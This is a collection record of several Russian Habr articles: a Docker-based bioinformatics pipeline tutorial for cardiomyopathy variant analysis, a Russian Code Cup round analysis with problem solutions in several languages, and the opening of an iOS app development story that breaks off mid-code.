Например, скептичные статьи Тима О'Рейли (когда-то провозгласившего web 2.0) и криптоскептика Stephen Diehl, а также заряженные рациональным энтузиазмом статьи Chris Dixon (general partner в топ-фонде Andreessen Horowitz) и Виталика Бутерина (создателя Ethereum).
Ну и сюда что-то буду выкладывать, если пойму, что тема интересна здешнему сообществу. | https://habr.com/ru/post/645807/ | null | ru | null |
# Биоинформатический пайплайн с использованием Docker
В этой статье я хочу поделиться опытом разработки [пайплайна](https://en.wikipedia.org/wiki/Pipeline_(computing)) с использованием Docker для анализа биомедицинских данных. Наверное, одним читателям будет интересен сам биоинформатический пайплайн, а кому-то — использование Docker, поэтому разобьем статью на две части.
Часть 1. Биоинформатический пайплайн, или что мы делали и зачем
---------------------------------------------------------------
Технологии прочтения последовательности ДНК живых организмов постепенно развиваются. Ученые все больше и больше узнают, какие участки ДНК за что отвечают и как они вообще влияют на организм. Во всех этих работах есть большой медицинский потенциал. Старение, рак, генетические заболевания — анализ последовательности ДНК может стать мощным инструментом в борьбе с ними. Мы построили пайплайн, который анализирует последовательность некоторых участков ДНК человека и пытается предсказать, может ли у него быть кардиомиопатия — генетически обусловленное заболевание сердца.
Почему берутся только некоторые участки ДНК? Прочтение всей ДНК (а это 3,2 млд нуклеотидов или “букв”) будет стоить намного дороже. А чтобы понять, есть ли у конкретного человека “ошибки”, приводящие к тем или иным “генетически обусловленным” болезням, достаточно прочитать только те участки, которые, так сказать, влияют, на развитие этих болезней. А это куда дешевле.
Откуда ученые знают, какие именно участки ДНК нужно читать? Ответ тут такой: сравнивая геномы здоровых и больных людей. Данные эти довольно достоверны, ведь на сегодняшний день человечеству известны полные [геномы более тысячи людей](http://www.internationalgenome.org/) по всему миру.
Когда прочтения по нужным участкам ДНК получены, требуется составить прогноз, ждет ли их обладателя болезнь, или нет. То есть понять, последовательности в этих участках такие, как у здорового человека, или в них есть отклонения, которые встречаются у больных людей.
Подобными исследованиями занимаются довольно много, поэтому существуют [best practices](https://software.broadinstitute.org/gatk/best-practices/), как это лучше делать. В них подробно описано, как очищенные данные выровнять на референсный геном (то есть геном некого абстрактного здорового человека), как найти “однобуквенные” отличия между ними, а потом проанализировать эти отличия: отсеять заведомо незначимые, а прочие поискать в биомедицинских базах данных. Для всех этих действий биоинформатическим сообществом разработано множество программ: bwa, gatk, annovar и т.п. Пайплайн устроен так, что выходные данные нужной программы поступают на вход следующей, и так далее, пока не получится требуемый результат. Способов реализовать пайплайн существует множество, в своей работе, воодушевленные отличным курсом “[Управление вычислениями](https://stepik.org/course/1612/syllabus)”, мы использовали snakemake.
С помощью пайплайна мы анализировали данные по одной семье, некоторым членам которой поставлен диагноз кардиомиопатия (на рисунке они в красной рамке). Были найдены вариации (то есть отклонения от референсного генома), которые, согласно медицинским базам, встречаются у людей, больных этим заболеванием (на рисунке они обозначены синим и зеленым цветами).
Какие выводы можно из всего этого сделать? Как и ожидалось, сам по себе пайплайн диагноз поставить не может. Он может только дать информацию, по которой врач решает, велики ли риски заболеть у данного человека, или нет. Такая неоднозначность связана с тем, что кардиомиопатия — заболевание комплексное, зависящие как от генетических, так и от внешних факторов. Биохимические механизмы ее возникновения не известны (сложно все это), поэтому точно сказать, какие именно наборы вариаций приведут к болезни — нельзя. Все что есть — это статистика по больным и здоровым, которая позволяет врачу оценить вероятность болезни и, при необходимости, вовремя начать лечение.
Нами также была предпринята попытка оценить качество работы пайплайна. Как было сказано выше, пайплайн находит вариации — “однобуквенные” отклонения последовательности ДНК исследуемого человека от референсного генома. Потом он их анализирует и ищет информацию по ним в биомедицинских базах данных. Самый неоднозначный этап, требующий тонкой настройки — это нахождение этих вариаций. Тут нужно найти баланс между избыточностью — когда находится слишком много вариаций, большинство из которых мусорные, и недостаточностью — когда так строго отбираем вариации, что теряем нужную информацию. Поэтому, проверка качества свелась к тому, чтобы проверить, как пайплайн находит вариации в данных, про которые мы знаем “правильный ответ”. В качестве этих данных был взят [Genome in a Bottle](https://github.com/genome-in-a-bottle/about_GIAB) — некий максимально точно прочитанный человеческий геном, по которому есть надежные данные по вариациям. Результат проверки качества дал совпадение 85%, что довольно неплохо.
Часть 2. Использование Docker
-----------------------------
Если высказывать главную мысль этой статьи одним предложением, оно было бы таким: “Используйте в своих пайплайнах Docker, с ним намного удобнее”. Действительно, с какими проблемами обычно сталкиваются люди, считающие что-то с помощью пайплайнов? Если пайплайн находится на вашем рабочем компьютере, вы ненароком можете изменить окружение или зависимости используемых программ, возможны автоматические обновления — все это может привести к тому, что пайплайн станет считать немножко не так как раньше или начнет выдавать ошибки. Также, проблематичным может быть и деплоймент пайплайна на новом компьютере: надо устанавливать все программы, опять же, следить за версиями и зависимостями, учитывать операционную систему. С использованием Docker всех этих проблем не будет, а чтобы запустить пайплайн на новом компьютере, вообще не придется ничего устанавливать (кроме Docker).
Идея Docker заключается в том, что каждая программа, используемая пайплайном, будет запускаться в изолированном контейнере, в котором разработчик налаживает нужные зависимости и окружения. Все что нужно он описывает в соответствующем Dockerfile, потом, командой docker build строит образ контейнера, который можно загрузить на dockerhub. Когда же кто-то (пайплайн или другой пользователь) захочет воспользоваться данной программой с данными зависимостями, он просто качает нужный образ с dockerhub-а и командой docker create создает у себя на компьютере нужный контейнер.
Наш пайплайн, использующий Docker, доступен на [github](https://github.com/phedo/biopipeline). Каждый раз, вызывая какую-либо программу, пайплайн запускает соответствующий контейнер, передает ему нужные параметры и идет рассчет. По сути, вся работа программиста сводилась к тому, чтобы написать Dockerfile для каждого контейнера. В нем указывается базовый образ (FROM), какие команды выполнить в указанном образе (RUN), или какие файлы добавить (ADD), можно указать рабочую директорию (WORKDIR), в которую, при запуске контейнера, монтируется папка с нужными для расчетов данными. На основе Dockerfile создается образ:
```
$ docker build -t imagename .
```
И загружается в какой-либо репозиторий, например, [dockerhub.com](https://hub.docker.com/).
Опишем некоторые типичные для нашего пайплайна случаи. Подробнее о Dockerfile можно почитать на [официальном сайте](https://docs.docker.com/engine/reference/builder/):
Нужно запустить стандартную программу, установленную из репозиториев, например, picard-tools. Dockerfile будет таким:
```
FROM ubuntu:14.04
RUN apt-get update && apt-get install -y picard-tools \
&& mkdir /home/source
WORKDIR /root/source
```
```
$ docker run -it --rm -v $(pwd):/root/source picard-tools picard-tools MarkDuplicates INPUT={input} OUTPUT={output[0]} METRICS_FILE={output[1]}
```
Нужно запустить свой shell-скрипт, annotation\_parser.sh, который парсит файл. Для этого можно воспользоваться стандартным docker-образом ubuntu:
```
$ docker run -it --rm -v $(pwd):/root/source -w="/root/source" ubuntu:16.04 /bin/sh scripts/annotation_parser.sh {input} {output}
```
Нужно запустить скрипт, не находящийся в стандартных репозиториях. Dockerfile:
```
FROM ubuntu:16.04
RUN apt-get update && apt-get install -y perl && apt-get install -y wget \
&& mkdir /root/source
ADD annovar /root/annovar
ENV PATH="/root/annovar:${PATH}"
WORKDIR "/root/source"
```
```
$ docker run -it --rm -v $(pwd):/root/source annovar table_annovar.pl {input} reference/humandb/ -buildver hg38 -out {params.name} -remove -protocol refGene,cytoBand,exac03,avsnp147,dbnsfp30a -operation gx,r,f,f,f -nastring . -vcfinput
```
Нужно запустить java-приложение. Здесь мы используем [ENTRYPOINT](https://docs.docker.com/engine/reference/builder/#entrypoint) (https://docs.docker.com/engine/reference/builder/#entrypoint), что позволяет запускать контейнер как исполняемый файл.
```
FROM ubuntu:16.04
RUN apt-get update && apt-get install -y default-jre \
&& mkdir /home/source
ADD GenomeAnalysisTK.jar /root/GenomeAnalysisTK.jar
WORKDIR "/root/source"
ENTRYPOINT ["/usr/bin/java", "-jar", "/root/GenomeAnalysisTK.jar"]
```
```
$ docker run -it --rm -v $(pwd):/root/source gatk -R {input[0]} -T HaplotypeCaller -I {input[1]} -o {output}
``` | https://habr.com/ru/post/346184/ | null | ru | null |
# Russian Code Cup: самое интересное из задач первого этапа
8 мая состоялся первый квалификационный раунд всероссийского кубка по программированию [Russian Code Cup](http://russiancodecup.ru). Победителем раунда стал Евгений Капун, который решил все 5 задач со штрафным временем 130 минут.
Всего в первом квалификационном раунде приняли участие 756 человек. Лучшие 200 участников по результатам раунда были допущены к участию в отборочном раунде, который состоится в 19 июня.
14 и 15 мая состоятся 2-й и 3-й квалификационные раунды, на которых будут отобраны еще 400 человек.
В этой статье мы проанализируем различную статистику первого этапа RCC, проведем разбор задач и ответим на наиболее часто задаваемые вопросы, которые поступили во время тура.
Для решения участникам жюри предложило 5 задач. Хотя бы одну задачу решил 691 участник. Самой простой оказалась задача A, ее решили 685 участников. В целом правильные решения распределились по задачам следующим образом:
*Диаграмма 1. Количество правильных решений по задачам.*
Как видно из диаграммы, задачи A, B и C покорились большинству участников, а вот D и E оказались гораздо сложнее. Эти задачи и стали ключом к успешной квалификации — решение трех простых задач и хотя бы одной из двух сложных, гарантировали проход в отборочный тур — всего 87 участников справились с четырьмя и более задачами.
А вот участникам с тремя решенными задачами необходимо было продемонстрировать высокую скорость решения задач. «Отсечка» двухсотого места прошла по штрафному времени: для прохода в отборочный тур с тремя задачами необходимо было иметь штрафное время не больше 141, то есть тратить на задачу в среднем 23.5 минуты.
*Диаграмма 2. Количество участников в зависимости от числа решенных задач.*
Наибольшее число попыток было сделано по задаче B: 1952, при этом лишь 461 из них, то есть около 24% были успешными. В целом процент успешных попыток по задачам выглядит так:
*Диаграмма 3. Процент успешных попыток по задачам.*
Видно, что хотя задачу C решили меньше участников, она доставила им меньше проблем, чем B. Аналогично более сложная задача E содержала меньше «подводных камней», чем задача D.
Интересно посмотреть статистику по языкам программирования, которые были использованы участниками Russian Code Cup. Если перенести суммарное количество на круговую диаграмму, получается следующая картина:
*Диаграмма 4. Количество решений в зависимости от языка программирования.*
С довольно большим отрывом лидирует GNU C, Java и C# суммарно занимают примерно втрое меньше, на остальных языках было сделано еще меньше подходов.
Интересно, что пятую задача, в которой требовалась длинная арифметика, в основном решали на языке Java:
В целом распределение отправленных решений по минутам соревнования можно посмотреть на следующем графике:
*График 4. Количество подходов в зависимости от минуты соревнования.*
Видно, что на первых минутах участники читали задачи, затем произошел резкий всплеск, когда основная масса сильных участников справилась с первой задачей, небольшой спад, и дальше количество подходов колебалось от 30 до 50 в минуту, с всплеском почти до 90 в конце раунда. При этом, если в начале соревнования в основном на проверку отправлялись правильные решения, то ближе к концу доля правильных решений неуклонно снижалась. На следующем графике приведена зависимость доли правильных решений среди отправленных на проверку, в зависимости от минуты соревнования.
*График 5. Доля успешных подходов в зависимости от минуты соревнования.*
**Разбор задач**
Задача А. Конкатенация строк
Во многих прикладных задачах необходимо осуществлять различные операции со строками. Две достаточно часто встречающиеся операции — это разворот строки и конкатенация двух или нескольких строк.
В результате разворота строки s получается строка sR, которая состоит из тех же символов, что и s, но идущих в обратном порядке. Например, в результате разворота строки “abcde” получается строка “edcba”. Далее в этой задаче вместо обозначения sR будет использоваться обозначение (s).
В результате конкатенации двух строк s и t получается строка st, в которой сначала записаны символы строки s, а затем — символы строки t. Аналогичным образом определяется конкатенация трех, четырех и большего числа строк. Например, при конкатенации строк “abc” и “cda” получается строка “abccda”
Ваша задача — определить результат конкатенации нескольких строк, часть из которых необходимо развернуть.
Формат входных данных
Входные данные состоят из единственной строки, которая содержит только строчные буквы латинского алфавита и круглые скобки. Ее длина не превышает 200 символов. Эта строка описывает конкатенацию нескольких строк, часть из которых необходимо развернуть.
В заданной строке правее каждой открывающей скобки есть закрывающая, левее каждой закрывающей есть открывающая, причем между соответствующими друг другу открывающей и закрывающей скобками других скобок нет и обязательно есть хотя бы одна буква.
Формат выходных данных
Выведите результат конкатенации.
**Решение**
Эта задача была самой простой на соревновании. Ограничения очень маленькие и можно решать задачу любым разумным способом. Например, считать строку, разбить ее на фрагменты, используя в качестве разделителей круглые скобки и развернуть все четные блоки. В языках во встроенной обработкой регулярных выражений (например, Perl) решение этой задачи вообще выглядит особенно компактно и естественно.
Мы приведем решение этой задачи на всех языках программирования, доступных на Russian Code Cup. Заодно обратим внимание на то, как считывать данные со стандартного потока ввода — многие участники задавали во время соревнования вопрос о том, откуда брать входные данные.
Мы не претендуем на оптимальность решений и даже наоборот, постарались на разных языках привести немного разные решения.
**Java:**
```
import java.io.*;
public class concat_as {
public static void main(String[] args) throws IOException {
BufferedReader in = new BufferedReader(
new InputStreamReader(System.in));
String[] s = in.readLine().split("[()]");
for (int i = 0; i < s.length; i++) {
if (i % 2 == 0) {
System.out.print(s[i]);
} else {
System.out.print(new StringBuilder(s[i]).reverse());
}
}
}
}
```
**C++:**
```
#include
#include
#include
using namespace std;
int main ()
{
string s;
cin >> s;
int l = 0;
while (l < s.length()) {
if (s[l] == '(') {
int r = l;
while (s[r] != ')')
r++;
string tmp = s.substr(l + 1, r - l - 1);
reverse(tmp.begin(), tmp.end());
cout << tmp;
l = r + 1;
} else {
cout << s[l];
l++;
}
}
return 0;
}
```
**C#:**
```
using System;
using System.Linq;
class concat_as
{
static void Main(string[] args)
{
string s = Console.ReadLine();
int L, R;
do {
L = s.IndexOf("(");
R = s.IndexOf(")");
if (L >= 0) {
Console.Write(s.Substring(0, L));
Console.Write(new string(
s.Substring(L + 1, R - L - 1).Reverse().ToArray()));
s = s.Substring(R + 1);
}
} while (L >= 0);
Console.WriteLine(s);
}
}
```
**Perl:**
```
$s = <>;
$s =~ s/\(([^)]*)\)/reverse($1)/eg;
print $s
```
**Python**
```
s = raw_input()
ans = ''
for t in s.split('('):
if ')' in t:
l = t.split(')')
ans += l[0][::-1] + l[1]
else:
ans += t
print ans
```
**PHP**
```
php
$s = trim(fgets(STDIN));
$s = preg_replace('#\((\w+)\)#se', 'strrev("\1")', $s);
echo "$s\n";
?
```
Обратите внимание, что решение этой задачи оказалось особенно простым и компактным на языках Perl и PHP.
**Задача B. Тарифы**
В настоящее время практически каждый оператор сотовой связи имеет обширный набор тарифов, которые позволяют каждому человеку выбрать наиболее подходящий для себя. К сожалению, зачастую осуществить этот выбор вручную очень тяжело.
У одного из сотовых операторов каждый тариф характеризуется тремя числами: абонентная плата ci (задается в рублях), минимальная тарифицируемая единица времени ti (задается в секундах), стоимость минимальной тарифицируемой единицы времени pi (задается в копейках, в одном рубле 100 копеек). Суммарная стоимость вызовов за месяц складывается из абонентной платы и стоимостей каждого из исходящих вызовов. Стоимость вызова при использовании i-ого тарифа вычисляется следующим образом: пусть время разговора равно T секунд. Если T < ti, то стоимость вызова равна нулю. Иначе стоимость вызова равна произведению k на pi, где k — минимальное целое число, такое что k•ti ≥ T.
Задано описание тарифов и статистика исходящих вызовов абонента в течение месяца — их число m и длительности d1, ..., dm в секундах. Необходимо найти тариф, при котором суммарная стоимость этих вызовов была бы минимальной.
Формат входных данных
Первая строка содержит два целых числа n и m — соответственно количество тарифов и исходящих вызовов абонента (1 ≤ n, m ≤ 100). Каждая из последующих n строк описывает один тариф и содержит три целых числа: ci (0 ≤ ci ≤ 100), ti (1 ≤ ti ≤ 3600), pi (0 ≤ pi ≤ 1000).
Последняя строка содержит m целых чисел d1, ..., dm (1 ≤ di ≤ 3600 для всех i от 1 до m).
Формат выходных данных
Выведите одно число — номер тарифа, при использовании которого суммарная стоимость исходящих вызовов абонента за рассматриваемый месяц минимальна. Тарифы нумеруются целыми числами от 1 до n в том порядке, в котором они заданы во входном файле. Если таких тарифов несколько, выведите номер любого из них.
**Решение**
Эта задача проверяла участников на внимательность при чтении условия. Основных «тонких» момента в этой задаче два: абонентная плата задается в рублях, а стоимость вызова в копейках, а также особенности округления времени разговора: разговор меньше одной тарифицируемой единицы округляется до нуля, а разговор сверх одной тарифицируемой единицы округляется вверх.
Если заметить эти два момента, то решение заключается в непосредственной реализации подсчета стоимости разговоров на каждом из заданных тарифов и выборе оптимального из них.
**Задача C. K-cортировка**
Задача сортировки состоит в упорядочивании заданного массива чисел (или других объектов) по возрастанию или убыванию. У этой задачи существует достаточно многих вариантов, для многих из которых существуют весьма эффективные алгоритмы. Одним из важных параметров этих алгоритмов является число обменов элементов массива, необходимых для упорядочивания.
Далее будем рассматривать вариант сортировки, который мы будем называть k-сортировкой. В этом варианте разрешается за одну операцию (называемую k-обменом) поменять местами значения двух элементов массива с номерами, отличающимися ровно на k. Например, если исходный массив имеет вид [6, 10, 4, 1, 2], а k = 3, то этот массив можно упорядочить по возрастанию за две операции (после первого обмена массив будет иметь вид [1, 10, 4, 6, 2], а после второго — [1, 2, 4, 6, 10]).
Задан массив целых чисел a1, ..., an. Ваша задача состоит в том, чтобы определить минимальное число k-обменов, необходимое для упорядочивания этого массива по не убыванию.
Формат входных данных
Первая строка содержит целое число n (1 ≤ n ≤ 300). Вторая строка содержит n целых чисел a1, ..., an (1 ≤ ai ≤ 109 для всех i от 1 до n). Третья строка содержит целое число k (1 ≤ k ≤ n — 1).
Формат выходных данных
Если заданный массив можно упорядочить по неубыванию с использованием операций описанного типа, то выведите минимальное число k-обменов, необходимое для сортировки. Иначе, выведите одно число -1.
**Решение**
Разделим массив на k частей, в зависимости от остатка позиции по модулю k. В каждой из этих частей соседние элементы находятся на расстоянии k, поэтому их можно обменять между собой. Элементы же из различных частей массива обменять между собой невозможно.
Заметим, что в отсортированном массиве каждая из частей также будет отсортирована. Следовательно, наша задача свелась к следующей: отсортировать каждую из частей за минимальное количество действий и проверить, что получившийся массив оказался отсортированным. Если это так, то ответ — суммарное количество действий, необходимых для сортировки частей. Если массив получился неупорядоченным, то решения не существует.
Осталось понять, какое минимальное количество действий необходимо для сортировки массива, если разрешается выполнять обмен только соседних элементов (а именно такими операциями мы должны отсортировать каждую из частей). Оказывается, минимальное количество действий выполняет обычная сортировка пузырьком. Пусть n — длина массива a[0..n – 1], который требуется отсортировать. Тогда искомое количество обменов выполняет следующий алгоритм:
`for i from 0 to n – 1:
for j from 0 to n – 2:
if a[j] > a[j + 1]:
swap(a[j], a[j + 1])`
Докажем это: для этого рассмотрим следующую характеристику массива, которая называется количеством инверсий: количество пар позиций *(i, j)*, *где* *i* < *j* *и a[i] > a[j]*. Ясно, что в отсортированном массиве количество инверсий равно нулю. С другой стороны обмен двух соседних элементов может поменять количество таких пар не более чем на единицу. При этом сортировка пузырьком при каждом обмене уменьшает количество инверсий на единицу.
Следовательно количество обменов в сортировке пузырьком равно количеству инверсий в массиве, то есть минимальному количеству обменов, которое необходимо осуществить для сортировки массива.
**Задача D. Рельсы**
Важным параметром железной дороги является ширина колеи — расстояние между двумя рельсами, по которым едет поезд. Именно этот параметр определяет типы поездов и других машин, которые могут ездить по железной дороге.
Недавно космическая экспедиция на планету RCC-0805 выяснила, что железные дороги есть и на этой планете. Было даже найдено железнодорожное депо, однако определить ширину колеи пока не удалось. Дело в том, что железные дороги на этой планете укладывались без шпал, поэтому определить, какие рельсы друг другу соответствуют не всегда просто.
Задан план расположения рельсов на территории железнодорожного депо. Для простоты будем считать, что территория представляет собой бесконечную плоскость, а каждый рельс представлен в виде прямой. Необходимо найти минимальную ширину колеи d, при которой рельсы можно разбить на пары так, что в каждой паре они параллельны и расстояние между ними равно d.
Формат входных данных
Первая строка содержит целое число n (1 ≤ n ≤ 2000). Каждая из последующих 2n строк содержит по четыре целых числа xi, 1, yi, 1, xi, 2, yi, 2 — координаты двух различных точек, через которые проходит рельс. Все координаты не превосходят 1000 по абсолютной величине. Прямые, соответствующие различным рельсам, не совпадают.
Формат выходных данных
Выведите вещественное число — минимальную возможную ширину колеи. Она должна быть определена с точностью не хуже 10-6.
Если ни при одной ширине колеи разбить рельсы на пары с выполнением требований задачи невозможно, выведите число −1.
**Решение.**
Сначала разобьем рельсы на классы эквивалентности по направлению прямой — параллельные прямые попадут в один класс. После этого в каждом классе найдем все возможные допустимые значения ширины колеи для данного класса. Ответом является минимальное возможное расстояние, которое подходит для всех классов.
**Теперь рассмотрим подробнее каждый из этапов решения.**
Для распределения прямых по классам эквивалентности построим уравнение каждой из прямых. Пусть прямая проходит через точки (x1, y1), (x2, y2). Тогда ее уравнение вида ax + by + c = 0 можно найти следующим образом: a = y1 – y2, b = x2 – x1, c = –(ax1 + by1). Теперь полезно нормировать коэффициенты прямой, поделив a, b и c на . Теперь у каждой прямой есть два представления: с точностью до умножения коэффициентов на –1. Чтобы у каждой прямой было единственное уравнение, удобно потребовать дополнительно условия «a > 0 or (a = 0 and b > 0)». При выполнении этого требования параллельные прямые имеют одинаковую пару (a, b). В таком представлении также удобно вычислять расстояние между прямыми: для двух параллельных прямых ax + by + c1 = 0 и ax + by + c2 = 0 расстояние равно |c1 – c2|.
Рассмотрим класс параллельных прямых. Отсортируем их по коэффициенту c. Рассмотрим первую прямую — она находится в паре с одной из других прямых этого класса. Переберем эту прямую. Пусть расстояние между ними равно d. Теперь жадно построим разбиение прямых на пары находящихся на расстоянии d. Если это удастся сделать, то d может быть шириной колеи для данного класса. Будем рассматривать прямые в порядке возрастания c. Если у очередной прямой c = ci и еще нет пары, то она ей должны быть параллельна прямая на расстоянии d с c = ci + d. Если такая прямая есть, объединяем ее в пару с рассматриваемой прямой. Разбиение на пары можно реализовать за линейное время, используя метод двух указателей: достаточно заметить, что c + d при увеличении c также увеличивается.
Наконец, рассмотрим поиск ответа: пусть имеются списки возможных ответов для каждого из классов. Естественным образом они оказываются отсортированы по возрастанию. Два таких списка можно легко пересечь за один проход. Выполнив пересечение всех списков, мы за время, пропорциональное сумме их длин, получим список-пересечение, минимальный элемент которого и является ответом на задачу.
Проанализируем время работы алгоритма. Распределение по классам выполняется за O(n). Для данного класса размера k построение списка допустимых расстояний выполняется за O(k2) и его длина не превышает k. Следовательно последний шаг выполняется за O(n), а весь алгоритм за O(n2).
**Задача E. Угадай число**
Недавно в одной популярной социальной сети появилось приложение «Угадай число!». Его пользователям предлагается игра, на каждом из уровней которой необходимо определить загаданное число по некоторой информации о нем.
В частности, на одном из самых сложных уровней необходимо угадать рациональное число x (0 < x < 1), о котором известно, что в результате умножения на натуральное число k в его десятичной записи произошло ровно одно изменение — в ней поменялись местами i-ая и j-ая цифры после десятичной точки (цифры нумеруются с единицы в направлении слева направо). При этом цифра до десятичной точки не изменилась, то есть выполнено неравенство 0 < kx < 1. Отметим, что исходно в десятичной записи x может быть бесконечно много знаков после десятичной точки.
Ваша задача состоит в том, чтобы написать программу, которая будет определять значение x по числам i, j, k.
Формат входных данных
Первая строка содержит три целых числа i, j, k (1 ≤ i < j ≤ 1000; 2 ≤ k ≤ 109).
Формат выходных данных
Если искомое число существует, то выведите два целых числа — числитель a и знаменатель b несократимой дроби, задающей искомое число (a, b > 0). В противном случае выведите фразу NO SOLUTION.
**Решение**
Пусть исходно на i-й позиции стоит цифра s, а на j-й — цифра t. Тогда после умножения на k число оказывается равно x – 10–is + 10–i t – 10–i t + 10–i s. Следовательно искомое число является решением уравнения kx = x – 10–i s + 10–i t – 10–i t + 10–i s.
Заметим, что на самом деле решение не зависит от конкретных значений s и t, а только от их разности: (k – 1) x = (10–i – 10–i) (t – s). Кроме того, s < t. Поэтому достаточно перебирать разность (t – s) в диапазоне от 1 до 9. Для каждого значения разности находим решение уравнения и проверяем его: убеждаемся, что действительно при умножении числа на k цифры на i-й и j-й позициях в десятичной записи меняются местами, а целая часть остается равной нулю.
Проверка необходима, поскольку из-за переносов решение приведенного уравнения может не соответствовать решению задачи.
**Ответы на часто задаваемые вопросы**
Во время соревнования участники могли отправлять вопросы жюри. Некоторые вопросы встречались особенно часто, и мы решили дать на них ответ в этой статье.
**Вопрос: следует отправлять на проверку исходный код или скомпилированный файл?**
Ответ: отправлять на проверку следует исходный код. Проверяющая система сама компилирует решение участника, командные строки указаны в [правилах Russian Code Cup](http://russiancodecup.ru/rules/#rounds)
**Вопрос: откуда следует вводить данные?**
Ответ: данные следует вводить с так называемого стандартного потока ввода. Это соответствует вводу с клавиатуры, если запустить программу, читающие данные со стандартного потока ввода, без дополнительных параметров, то ввод будет осуществляться с клавиатуры.
При этом низкоуровневый ввод с клавиатуры, наподобие анализа нажатых клавиш или получение сообщений операционной системы о нажатии клавиш — неправильный подход. Читать следует «с консоли».
**Вопрос: куда следует вводить ответ?**
Ответ надо выводить на стандартный поток вывода (по-умолчанию он направляется на экран). Опять же не следует пытаться делать это низкоуровневыми средствами.
Приведем примеры чтения стандартного потока ввода и записи в стандартный поток вывода на всех языках программирования, которые поддерживаются на Russian Code Cup.
**Java**
Для ввода следует использовать поток System.in. Наиболее удобным средствами для разбора ввода на Java являются классы BufferedReader и Scanner. BufferedReader быстрее в чтении и позволяет быстро считать по строкам большой объем данных. Scanner медленнее из-за использования регулярных выражений, но позволяет очень гибко разобрать входную строку, например, считывать по одному числа из ввода.
Для чтения из стандартного потока ввода с помощью BufferedReader следует написать в программе строку:
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
Для чтения из стандартного потока ввода с помощью Scanner следует написать в программе строку:
Scanner in = new Scanner(System.in);
Для вывода следует использовать System.out. При этом System.out является некеширующим (сразу сбрасывает свой буфер), если следует вывести большой объем информации, лучше обернуть его в PrintWriter.
**С++**
Для ввода в стиле классического C можно использовать scanf. Эта функция читает данные как раз со стандартного потока ввода.
Ввод через потоки осуществляется с помощью потока cin. По-умолчанию он настроен на стандартный поток ввода. Обратите внимание, что ввод с помощью потоков существенно медленнее ввода с помощью scanf, поэтому большие объемы данных программа может не успеть считать.
Для вывода опять же можно воспользоваться классическим printf или потоковым cout. Все замечания о производительности остаются в силе и для них — printf быстрее.
**C#**
Для ввода следует использовать Console. Console.ReadLine() читает очередную строку ввода. Для ее разбора следует использовать метод split(). Превращение данных в числа осуществляет класс Convert.
Для вывода также следует использовать Console. Например, для вывода числа x можно написать Console.WriteLine(x).
**Python**
Для ввода можно использовать функции input или raw\_input. Также можно использовать файловый дескриптор sys.stdin, который настроен на стандартный поток ввода.
Для вывода рекомендуем использовать print.
**Perl**
Ввод со стандартного ввода в Perl осуществляется командой <>. Эта команда считывает строку из файла и возвращает ее.
Для вывода рекомендуем использовать print.
**PHP**
Ввод со стандартного ввода в PHP осуществляется из дескриптора STDIN. Очередную строку можно считать, например, командой fgets.
Для вывода можно использовать print или echo.
При использовании различных функций чтения строки мы также рекомендуем внимательно прочитать документацию и обратить внимание, возвращает ли функция перевод строки вместе со строкой. В тестах жюри все строки, включая последнюю, заканчиваются переводом строки, тестирование ведется под ОС Windows 7, используется принятая в Windows комбинация для перевода строки, состоящая из символов с кодами 13 и 10.
Кроме того, следует обратить внимание, что тестирование производится автоматически. Поэтому не следует пытаться выводить различные «приглашения ко вводу» или пытаться «украсить» вывод. Следует ввести данные, решить задачу и вывести данные, четко следуя формату вывода.
**Вопрос: правильный ли тест в примере?**
Ответ: тест в примере обычно правильный — его проверяют несколько человек, в том числе несколько человек прорешивают задачи, не зная их заранее. Если вам кажется, что тест примере неправильный, то прочитайте более внимательно условие, вероятно вы что-то понимаете неправильно.
Если вам все еще кажется, что пример неправильный, включите в запрос подробное описание, почему вы считаете пример неправильным, какой ответ правильный, в чем по-вашему неточность или неоднозначность.
**Вопрос: правильный ли 239-й тест в задаче X?**
Ответ: скорее всего тест правильный. Если вы считаете, что тест неправильный, напишите, почему вы так считаете. Просто вопрос «правильный ли такой-то тест» бессмысленно задавать. В процессе соревнования жюри внимательно следит за происходящим и если на каком-то тесте многие выдают отличный от жюри ответ или «падают» с какой-то специфичной ошибкой, то этот тест внимательно исследуется.
**Вопрос: если несколько правильных ответов, какой выводить?**
Ответ: если возможно несколько правильных выводов на некоторый тест, выводить следует любой.
*Желаем успехов участникам следующих туров!
Команда Russian Code Cup* | https://habr.com/ru/post/119187/ | null | ru | null |
# История о том, как Apple учила меня делать качественный продукт
Всем привет, суть моего рассказа в том, чтобы рассказать откуда пришла идея, как разрабатывалось приложение и как влияло Apple на разработку.
**Я буду показывать код приложения последней версии.**
*Идея появилась в обыкновенный день, я был в гостях у родителей летом с моим родным братом. Брат – старший лейтенант. В этот день он хотел себе найти в App Store приложение, которое содержало бы полный воинский устав с несложной и простой навигацией, но ни одного приложения в магазине не нашлось по его поисковым запросам. Тут он сразу же мне предложил реализовать данную идею, так как он считал, что это довольно нужная вещь на телефоне, которая будет всегда с тобой и должен быть неплохой спрос.
Вы скажете, наверное: “Да в чем проблема? Зайди в Google, скачай себе pdf-ник и закинь в iBooks”. Но зачем столько телодвижений? Если теперь есть приложение, когда у тебя все под рукой, скачивать и искать ничего уже не нужно! К тому же с удобной навигацией, которая будет улучшаться до больших высот.*
**И так, Вы узнали как появилась идея, но теперь самое интересное – как проходила сама разработка и причем тут влияние компании Apple?**
Примерно в середине августа я сел за дело. Я думал как лучше всего реализовать приложение: закидывать все в Label или использовать TextView?
Подумав несколько дней, я нашел для себя решение – использовать обычный Web View. Для того, чтобы устав отображался во Web View, я нарезал по разным частям устав по отдельным html-файлам.
Код уже содержит функционал возможности изменить размер шрифта. Я использовал NSUserDefaults для сохранения значения размера шрифта и сделал небольшую проверку, где уже подставлял нужный мне html-файл. Шрифт можно установить следующим образом — маленький, средний, большой.
Контроллер с настройкой шрифта:
```
- (IBAction)selectFont:(id)sender {
[self saveSetting];
}
- (void) saveSetting {
NSUserDefaults* userDefaults = [NSUserDefaults standardUserDefaults];
// начинаем сохранять значения
[userDefaults setInteger:self.fontSegmentedControl.selectedSegmentIndex forKey:kSettingsFont];
[userDefaults synchronize];
}
- (void) loadSetting {
NSUserDefaults* userDefaults = [NSUserDefaults standardUserDefaults];
// загружаем значения
self.fontSegmentedControl.selectedSegmentIndex = [userDefaults integerForKey:kSettingsFont];
}
```
Открытие самого webView:
```
- (void) loadPage {
NSUserDefaults* userDefaults = [NSUserDefaults standardUserDefaults];
NSInteger indexFont = [userDefaults integerForKey:@"font"];
if (indexFont == 0) {
// узнаем путь к файлу
NSString* filePath = [[NSBundle mainBundle] pathForResource:@"preOnePart" ofType:@"html"];
// помещаем в NSString
